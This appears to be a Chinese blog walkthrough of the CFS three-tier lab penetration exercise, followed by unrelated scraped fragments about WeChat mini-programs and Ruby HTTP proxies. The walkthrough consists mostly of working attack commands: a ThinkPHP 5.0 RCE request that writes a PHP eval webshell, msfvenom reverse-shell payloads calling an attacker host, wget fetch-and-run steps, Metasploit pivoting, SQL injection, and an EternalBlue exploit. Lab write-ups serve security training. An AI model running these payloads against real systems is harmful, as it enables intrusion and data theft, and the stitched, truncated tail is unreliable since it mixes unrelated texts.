前言
作者简介:不知名白帽,网络安全学习者。
博客主页:https://blog.csdn.net/m0_63127854?type=blog
内网渗透专栏:https://blog.csdn.net/m0_63127854/category_11885934.html
网络安全交流社区:https://bbs.csdn.net/forums/angluoanquan
CFS三层靶场搭建:
目录
借鉴文章链接:
CFS三层靶机搭建及其内网渗透_ZredamanJ的博客-CSDN博客_cfs三层
代理技术应用之三层内网漫游 - FreeBuf网络安全行业门户
nmap -sS -v -A 192.168.1.128
nmap -A -v -T4 192.168.1.128
21/22端口:弱口令爆破
hydra -vV -l root -P /usr/share/wordlists/metasploit/password.lst 192.168.1.128 ftp
hydra -vV -l root -P /usr/share/wordlists/metasploit/password.lst 192.168.1.128 ssh
3306端口:不允许远程IP链接
8888端口:宝塔登录页面
80端口:Thinkphp v5.0
存在远程命令执行漏洞,通过命令执行写入一句话,可GetShell
/index.php?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1
/index.php?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=whoami
/index.php?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=file_put_contents&vars[1][]=shell.php&vars[1][]=<?php @eval($_POST['cmd'])?>
蚁剑连接


发现两个flag


ifconfig
发现192.168.22.0/24内网网段
发现192.168.22.129存活主机

msfvenom生成payload
查找可用的payload
msfvenom -l payload | grep "linux/x64" | awk "{print $l}"

msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=192.168.1.130 LPORT=6666 SessionCommunicationTimeout=0 SessionExpirationTimeout=0 -f elf >6666.elf
msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=192.168.1.130 LPORT=6666 -f elf >6666.elf
msfvenom -p php/meterpreter/reverse_tcp lhost=192.168.1.130 lport=6666 -f elf >6666.php

上传到target1的tmp目录下

或者开启http服务用wgett来下载
python -m http.server(默认端口为8000)
wget http://192.168.1.130(kali的ip):8000/6666.elf
kali中配置运行监听模块
use exploit/multi/handler
set payload linux/x64/meterpreter/reverse_tcp
set lhost 192.168.1.130
set lport 6666
exploit

chmod 777 6666.elf
./6666.elf

反弹shell

获得target1的meterpreter shell后,添加到192.168.22网段的路由
run autoroute -s 192.168.22.0/24
run autoroute -p

使用msf的socks5模块建立socks服务,并配置prochains代理
search socks
use auxiliary/server/socks_proxy
set SRVHOST 0.0.0.0
set SRVPORT 1080
exploit

vim /etc/proxychains4.conf
socks5 192.168.1.130 1080

需要加上刚刚配置好的代理文件才能进行扫描
proxychains4 nmap -Pn -sT 192.168.22.128

火狐浏览器插件foxyproxy
配置代理

访问192.168.22.128

proxychains4 nmap -Pn -sT 192.168.22.128

翻看一下robots.txt

找到后台登录地址,有验证码先不尝试爆破

查看源代码找到提示,存在sql注入

proxychains4 sqlmap -u “http://192.168.22.128/index.php?r=vul&keyword=1” --dbs
proxychains4 sqlmap -u “http://192.168.22.128/index.php?r=vul&keyword=1” -p keyword -D bagecms –tables
proxychains4 sqlmap -u “http://192.168.22.128/index.php?r=vul&keyword=1” -p keyword -D bagecms -T bage_admin –columns
proxychains4 sqlmap -u “http://192.168.22.128/index.php?r=vul&keyword=1” -p keyword -D bagecms -T bage_admin -C username,password –dump
注意:socks5不稳定,以用sqlmap跑就会断开
手注一下
http://192.168.22.128/index.php?r=vul&keyword=1' union select group_concat(username),group_concat(password),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39 from bage_admin-- -


登录后台(admin/123qwe)

发现模板中存在index.php文件,可以写入一句话木马


来到标签页,可以看到一句话生效了,接下里在SocksCap64中打开蚁剑,利用蚁剑连接,注意SocksCap设置好代理


生成正向后门
msfvenom -p linux/x64/meterpreter/bind_tcp LPORT=7777 -f elf > 7777.elf

msf正向连接
use exploit/multi/handler
set payload linux/x64/meterpreter/bind_tcp
set rhost 192.168.22.128
set LPORT 7777
exploit

开启http服务,下载7777.elf文件

提权并运行7777.elf
chomd 777 7777.elf
./7777.elf

反弹shell

添加路由
run autoroute -s 192.168.33.0/24
run autoroute -p
proxychains4 nmap -Pn -sT 192.168.33.33

开启445、3389端口,我们可以用永恒之蓝进行攻击
use exploit/windows/smb/ms17_010_psexec
set payload windows/meterpreter/bind_tcp
set RHOST 192.168.33.33
exploit

shell
net user

cd /
dir /S /B *flag*
type C:\Windows\System32\config\flag.txt
# /B 显示文件夹或文件的名字
# /S 显示指定目录和所有子目录中的文件

linux无法识别window汉字会乱码,修改一下代码页(65001代表的是UTF-8)
chcp 65001

找到flag了
@作者:SYFStrive @博客首页:HomePage📜:微信小程序📌:个人社区(欢迎大佬们加入)👉:社区链接🔗📌:觉得文章不错可以点点关注👉:专栏连接🔗💃:感谢支持,学累了可以先看小段由小胖给大家带来的街舞👉微信小程序(🔥)目录自定义组件-behaviors 1、什么是behaviors 2、behaviors的工作方式 3、创建behavior 4、导入并使用behavior 5、behavior中所有可用的节点 6、同名字段的覆盖和组合规则总结最后自定义组件-behaviors 1、什么是behaviorsbehaviors是小程序中,用于实现
我是Ruby的新手。我试过查看在线文档,但没有找到任何有效的方法。我想在以下HTTP请求botget_response()和get()中包含一个用户代理。有人可以指出我正确的方向吗?#PreliminarycheckthatProggitisupcheck=Net::HTTP.get_response(URI.parse(proggit_url))ifcheck.code!="200"puts"ErrorcontactingProggit"returnend#Attempttogetthejsonresponse=Net::HTTP.get(URI.parse(proggit_url)
有人知道如何将capybarapoltergeist的用户代理覆盖到移动用户代理以进行测试吗?我发现了一些有关为seleniumwebdriver配置它的信息:http://blog.plataformatec.com.br/2011/03/configuring-user-agents-with-capybara-selenium-webdriver/这在capybara闹鬼中怎么可能? 最佳答案 请参阅poltergeistgithub页面上的链接:https://github.com/teampoltergeist/polte
我正在使用Ruby/Mechanize编写一个“自动填写表格”应用程序。它几乎可以工作。我可以使用精彩CharlesWeb代理以查看服务器和我的Firefox浏览器之间的交换。现在我想使用Charles查看服务器和我的应用程序之间的交换。Charles在端口8888上代理。假设服务器位于https://my.host.com。.一件不起作用的事情是:@agent||=Mechanize.newdo|agent|agent.set_proxy("my.host.com",8888)end这会导致Net::HTTP::Persistent::Error:...lib/net/http/pe
我是一名决定学习Ruby和RubyonRails的ASP.NETMVC开发人员。我已经有所了解并在RoR上创建了一个网站。在ASP.NETMVC上开发,我一直使用三层架构:数据层、业务层和UI(或表示)层。尝试在RubyonRails应用程序中使用这种方法,我发现没有关于它的信息(或者也许我只是找不到它?)。也许有人可以建议我如何在RubyonRails上创建或使用三层架构?附言我使用ruby1.9.3和RubyonRails3.2.3。 最佳答案 我建议在制作RoR应用程序时遵循RubyonRails(RoR)风格。Rails
我希望访问我机器上的所有HTTP流量(我的Windows机器-不是服务器)。据我了解,拥有一个本地代理是所有流量路线的必经之路。我一直在谷歌搜索但未能找到任何资源(关于Ruby)来帮助我。非常感谢任何提示或链接。 最佳答案 WEBrick中有一个HTTP代理(Rubystdlib的一部分)和here's一个实现示例。如果你喜欢生活在边缘,还有em-proxy伊利亚·格里戈里克。这postIlya暗示它似乎确实需要一些调整来解决您的问题。 关于ruby-如何捕获所有HTTP流量(本地代理)
关闭。这个问题是opinion-based.它目前不接受答案。想要改进这个问题?更新问题,以便editingthispost可以用事实和引用来回答它.关闭9年前。Improvethisquestion首先,我想避免一场关于语言的口水战。可供选择的语言有Perl、Python和Ruby。我想提一下,我对所有这些都很满意,但问题是我不能只专注于一个。例如,如果我看到一个很棒的Perl模块,我必须尝试一下。如果我看到一个不错的Python应用程序,我必须知道它是如何制作的。如果我看到RubyDSL或一些Ruby巫术,我就会迷上Ruby一段时间。目前我是一名Java开发人员,但计划在不久的将来
我正在使用Net::FTPruby库连接到FTP服务器并下载文件。一切正常,但现在我需要使用出站代理,因为他们的防火墙将IP地址列入白名单,并且我正在使用Heroku来托管该站点。我正在试用新的Proximo附加组件,它看起来很有前途,但我无法让Net::FTP使用它。我在Net::FTPdocs中看到以下内容:connect(host,port=FTP_PORT)EstablishesanFTPconnectiontohost,optionallyoverridingthedefaultport.IftheenvironmentvariableSOCKS_SERVERisset,
我想使用nokogiri和mechanize自动化一个计时网络客户端。我需要通过代理服务器连接,但问题是,我不知道所述代理服务器的用户名和密码。我想获取存储在计算机上的此代理的缓存凭据..例如,在c#中你可以使用:stringproxyUri=proxy.GetProxy(requests.RequestUri).ToString();requests.UseDefaultCredentials=true;requests.Proxy=newWebProxy(proxyUri,false);requests.Proxy.Credentials=System.Net.Credential
我看过几个用Ruby编写HTTP代理的例子,例如thisgistbyTorstenBecker,但我如何扩展它来处理HTTPS,又名“中间人”SSL代理?我正在寻找一个简单的源代码框架,我可以扩展它以满足我自己的日志记录和测试需求。更新我已经在使用Charles,aniftyHTTPSproxyapp类似于Fiddler,它本质上是我想要的,只是它被打包在一个应用程序中。我想自己写一个,因为我对过滤和展示有特定的需求。更新二四处浏览后,我对术语的理解有所好转。我不是在寻找完整的“中间人”SSL代理。相反,它将在我的机器上本地运行,因此我可以接受它提供的任何SSL证书。但是,我需要查看我